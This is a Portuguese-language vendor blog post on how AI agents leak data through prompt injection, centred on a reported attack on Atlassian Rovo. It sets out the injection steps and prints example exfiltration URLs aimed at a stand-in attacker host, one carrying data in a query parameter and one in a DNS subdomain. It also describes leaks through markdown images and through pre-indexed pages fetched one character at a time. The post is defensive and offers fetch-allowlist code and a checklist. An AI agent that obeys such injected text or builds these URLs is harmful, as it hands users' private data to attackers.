Resposta rápida: Desativar a pesquisa na web não impede o vazamento de dados por agentes de IA, pois a opção apenas oculta um recurso, e não a ferramenta subjacente. Se o agente ainda puder abrir uma URL, renderizar uma imagem ou acionar um conector, uma instrução injetada pode empacotar seus dados em uma requisição. A solução é determinística: o agente só deve buscar URLs digitadas por uma pessoa ou retornadas por uma ferramenta confiável.
A maioria das equipes trata o botão de pesquisa na web como um interruptor para desligar qualquer risco de saída de dados. Não é bem assim. Em agosto de 2026, a PromptArmor demonstrou um ataque contra o Atlassian Rovo que funcionava mesmo com a pesquisa na web desativada em toda a organização — e o motivo por trás disso se aplica a qualquer agente que você desenvolva ou adquira.
Abaixo, detalhamos os canais de vazamento, por que as correções mais comuns falham e a regra que realmente funciona. Nós desenvolvemos o Sharkly, um workspace onde agentes de programação assumem tarefas a partir de um quadro compartilhado, portanto as mesmas preocupações se aplicam a nós. A injeção de prompt continua sem solução definitiva em qualquer lugar, inclusive nos agentes de código executados pelo Sharkly.
O que o botão de pesquisa na web controla — e o que ele não controla
A opção de pesquisa na web controla apenas se o agente tem permissão para consultar um mecanismo de busca. Ela não altera em nada a ferramenta independente responsável por abrir uma URL e ler a resposta. Se essa ferramenta de requisição (fetch) continuar ativada, o agente ainda poderá enviar requisições a qualquer servidor na internet — e toda requisição transporta dados em seu próprio endereço.
A pesquisa retorna uma lista de links. O fetch recebe um link e faz uma requisição HTTP. É no fetch que os dados saem do seu ambiente.
Essa brecha resume toda a descoberta no Rovo. O artigo da PromptArmor destaca que a configuração de pesquisa na web “não remove a ferramenta necessária para abrir os resultados da busca”. O administrador da organização desativou a busca, mas a ferramenta de requisição continuou ativa.
Como um agente constrói uma URL de exfiltração
A injeção indireta de prompt ocorre quando um invasor oculta instruções dentro de um conteúdo que o agente lerá posteriormente: um arquivo, um chamado, uma página da web. O modelo não consegue diferenciar com segurança a sua solicitação original do texto que encontrou pelo caminho. O fluxo de ataque no Rovo, conforme descrito pela PromptArmor, acontece em cinco etapas:
- A vítima faz o upload de um arquivo, um “Guia de Backlog”, contendo uma instrução oculta.
- Mais tarde, a vítima pede ao Rovo para organizar seus chamados no Jira.
- O Rovo pesquisa no Jira e no Confluence e lê o arquivo adulterado como parte da tarefa.
- A injeção instrui o Rovo a anexar o conteúdo dos chamados e do Confluence a uma URL do invasor e a abri-la usando a ferramenta de recuperação de URLs.
- O servidor do invasor registra a requisição, com os dados inclusos. A vítima vê apenas sugestões normais para os chamados.
Sem nenhum clique, sem pedido de aprovação. Outras fontes de injeção citadas pela PromptArmor incluem: chamados de suporte, resultados da web quando a pesquisa está ativada e conectores de terceiros.
O ponto crucial está na etapa 4. A PromptArmor relata que “não há proteções contra a abertura de uma URL criada dinamicamente pelo agente”. Como o próprio agente gerou o endereço, essa URL pode conter qualquer informação que ele tenha lido.
Como é uma URL de exfiltração?
Veja a estrutura básica, utilizando um domínio de exemplo:
https://collect.attacker.example/log?d=PROJ-412%3A%20rotate%20prod%20db%20creds%20before%20Fri
O invasor lê o parâmetro d= em seus logs de acesso. O agente realizou uma única requisição GET, exatamente a função para a qual a ferramenta de fetch foi criada.
Por que remover query strings não resolve: vazamentos por subdomínio e DNS
Filtrar o trecho iniciado por ? em uma URL costuma ser a primeira solução cogitada. Mas ela falha. Na discussão no Hacker News (306 pontos, 138 comentários), Simon Willison destacou que, com um DNS curinga (wildcard DNS), os dados podem ser embutidos no próprio hostname:
https://cHJvZCBkYiBjcmVkcw.attacker.example/
O servidor DNS do invasor responde por qualquer subdomínio e registra cada consulta. Os dados vazam durante a resolução de nomes, antes mesmo que qualquer requisição HTTP seja concluída. Outro usuário complementou lembrando que os dados podem se esconder em qualquer parte de uma URL, inclusive no campo de credenciais.
Portanto, a regra não pode ser “limpar a URL”. Nas palavras de Willison, o cerne da questão é “não permitir, sob hipótese alguma, a construção dinâmica de URLs”.
O canal de exfiltração por imagens em Markdown
Alguns agentes nem sequer precisam de uma ferramenta de fetch para vazar informações. Se a interface de chat renderizar imagens em Markdown de domínios externos, o modelo pode inserir o seguinte em sua resposta:
O navegador do usuário carrega a imagem e dispara a requisição. Ninguém precisa clicar em nada. A PromptArmor observa que o Rovo renderiza imagens em Markdown nas saídas da IA e classifica isso como um vetor conhecido de exfiltração, embora seu relatório não apresente um fluxo separado específico do Rovo para esse caso.
Esse canal opera na camada de renderização, de modo que nenhuma configuração de ferramentas do agente tem efeito sobre ele.
Por que permitir “apenas URLs pré-indexadas” ainda gera vazamento, caractere por caractere
Uma tentativa de mitigação consiste em permitir que o agente abra uma URL somente se um rastreador de busca já a tiver indexado. Em tese, um invasor não poderia indexar uma URL contendo o seu segredo, já que essa informação confidencial não existia publicamente antes.
Johann Rehberger (wunderwuzzi23 no Hacker News) explicou a brecha nessa abordagem. Imagine um invasor que publica previamente uma página para cada caractere, de /a a /z, e faz com que sejam indexadas. A injeção de prompt então instrui o agente a acessar, em sequência, a página correspondente a cada caractere do dado confidencial. Com isso, o invasor simplesmente lê a sequência de acessos em seus logs.
É um método lento e barulhento. Mas funciona. A conclusão de Rehberger: cada medida intermediária apenas encarece o ataque, sem torná-lo impossível. Ele destacou, contudo, que listas de permissão (allowlists) de domínios são eficazes para agentes de propósito específico, pois bloqueiam diretamente endpoints sob o controle do invasor.
A regra determinística: buscar apenas URLs de uma pessoa ou de uma ferramenta confiável
A solução definitiva não depende de pedir ao modelo que seja mais cauteloso. Ela simplesmente remove a capacidade do agente de escolher o destino:
- Permitido: uma URL digitada diretamente pelo usuário na conversa.
- Permitido: uma URL retornada por uma ferramenta confiável, como um resultado de pesquisa, de forma literal.
- Bloqueado: qualquer URL montada, editada ou estendida pelo modelo.
Essa restrição deve ser aplicada no código, fora do modelo. Mantenha um conjunto de URLs que entraram na conversa a partir de fontes confiáveis e recuse qualquer requisição cuja string exata não esteja presente nesse conjunto:
allowed_urls: set[str] = set()
def on_user_message(text: str) -> None:
allowed_urls.update(extract_urls(text))
def on_search_results(results: list[dict]) -> None:
allowed_urls.update(r["url"] for r in results)
def fetch(url: str) -> str:
if url not in allowed_urls:
raise PermissionError(f"blocked agent-built URL: {url[:60]}")
return http_get(url)
Há duas limitações. Essa verificação não abrange o canal de imagens, portanto você ainda precisa bloquear imagens externas na renderização da saída. Além disso, ela não impede o truque caractere por caractere caso uma ferramenta confiável possa retornar listas definidas por um invasor — razão pela qual agentes especializados devem contar adicionalmente com uma allowlist de domínios.
Essa é a aplicação prática da tríade letal formulada por Willison: dados privados, conteúdo não confiável e um canal de saída. Não é possível remover os dois primeiros de um agente útil. Mas você pode tornar o terceiro determinístico. A OWASP classifica a injeção de prompt como LLM01 pelo mesmo motivo: nenhuma correção focada apenas no modelo é suficiente.
Checklist para quem desenvolve ou contrata agentes
Faça estas perguntas para qualquer agente que tenha acesso a dados privados:
- Liste todas as ferramentas capazes de fazer requisições de rede: fetch, navegador, conectores, webhooks, e-mail.
- Cada opção de configuração remove de fato a ferramenta ou apenas oculta o recurso que a utiliza?
- O agente consegue abrir uma URL que ele próprio construiu?
- Imagens externas em Markdown são renderizadas na saída?
- Existe uma lista de domínios permitidos (allowlist) e quem a controla?
- Quais fontes podem servir de vetor de injeção: uploads, chamados, resultados de busca, conectores?
- Como o fornecedor lidou com o último relatório externo de segurança que recebeu e com que rapidez agiu?
No caso do Rovo, a cronologia pública responde à pergunta 7: a PromptArmor fez a divulgação responsável em 23 de maio de 2026, a Atlassian confirmou o recebimento em 25 de maio, mensagens de acompanhamento em 4 de junho e 29 de julho ficaram sem resposta, e o relatório foi publicado em 5 de agosto com o Rovo ainda vulnerável. [VERIFICAR 27/10/2026: nenhuma correção ou pronunciamento da Atlassian encontrado para essa brecha; checar novamente antes de publicar.]
Vale destacar que o Rovo Dev, agente de programação da Atlassian, é um produto diferente do assistente Rovo citado nesta análise; nosso artigo sobre o plano gratuito do Rovo Dev aborda o tema em detalhes.
Como isso se aplica aos agentes de código no Sharkly
Agentes de programação lidam o dia todo com textos não confiáveis: descrições de issues, arquivos README, páginas baixadas da web. O Sharkly não torna o Claude Code ou o Codex imunes a isso.
O que o Sharkly muda é quem define o perímetro de saída. Os agentes rodam em seus próprios Computers por meio de um serviço local. A documentação de Computers explica que o Computer “fornece o sistema operacional, arquivos, credenciais, acesso à rede e ferramentas exigidas por um Agente”. Ao posicionar um Computer atrás de uma allowlist de tráfego de saída (egress), todas as execuções herdam essa restrição, independentemente do agente utilizado.
Outros limites descritos na documentação:
- Convidados só têm acesso aos Spaces aos quais foram adicionados.
- Ações em aplicativos de terceiros exigem um conector devidamente autorizado.
- A documentação de Skills orienta a nunca armazenar senhas, tokens ou chaves em instruções ou arquivos de Skills, impedindo que um agente comprometido tenha acesso a eles.
Nada disso impede que um agente faça mau uso dos acessos que já possui. Nossos artigos sobre permissões para agentes de código, etapas de aprovação (approval gates) e barreiras contra injeção de prompt mostram onde traçar esses limites.
Conclusão
A opção de busca na web é uma funcionalidade de produto, não um controle de segurança. Os dados vazam por qualquer meio capaz de emitir uma requisição: uma ferramenta de fetch, uma consulta de hostname, uma tag de imagem. Bloqueie esses caminhos diretamente no código, fora do modelo.
Seu próximo passo: avalie nesta semana um dos agentes utilizados pela sua equipe com base no checklist de sete perguntas, começando pela pergunta 3. Se você executa agentes de programação em vários Computers, configure o Sharkly e proteja cada um deles com as regras de saída em que você já confia.
FAQ
Desativar a pesquisa na web impede a injeção de prompt?
Não. A injeção de prompt pode ter origem em qualquer conteúdo lido pelo agente, incluindo uploads, chamados e dados de conectores. Desativar a pesquisa elimina apenas uma das fontes de conteúdo não confiável, mas a injeção ainda pode chegar por outros meios e exfiltrar dados através de uma ferramenta de fetch.
O que é a exfiltração de dados baseada em URLs?
É quando um agente insere informações confidenciais dentro de uma URL e faz uma requisição para ela. O servidor do invasor registra o acesso e lê os dados. Não exige nenhum malware — basta que o agente tenha a capacidade de construir e abrir URLs arbitrárias.
Imagens em Markdown representam um risco de segurança no chat de IA?
Sim, quando a interface renderiza imagens hospedadas em domínios externos. Como o navegador carrega a URL da imagem de forma automática, qualquer dado que o modelo tenha incluído nela chega diretamente ao invasor, sem a necessidade de nenhum clique.
Uma lista de domínios permitidos (allowlist) é suficiente?
Para um agente especializado que precisa se comunicar apenas com poucos domínios, uma allowlist é a proteção mais sólida existente. Já para um assistente de uso geral, manter essa lista restrita é muito difícil; por isso, combine-a com a regra de que o agente nunca deve buscar uma URL construída por ele próprio.
A Atlassian corrigiu o problema de exfiltração no Rovo?
Até 27 de outubro de 2026, não encontramos nenhum comunicado oficial da Atlassian nem qualquer correção confirmada para o vetor divulgado pela PromptArmor. Consulte a página da PromptArmor e os comunicados de segurança da Atlassian para acompanhar atualizações.
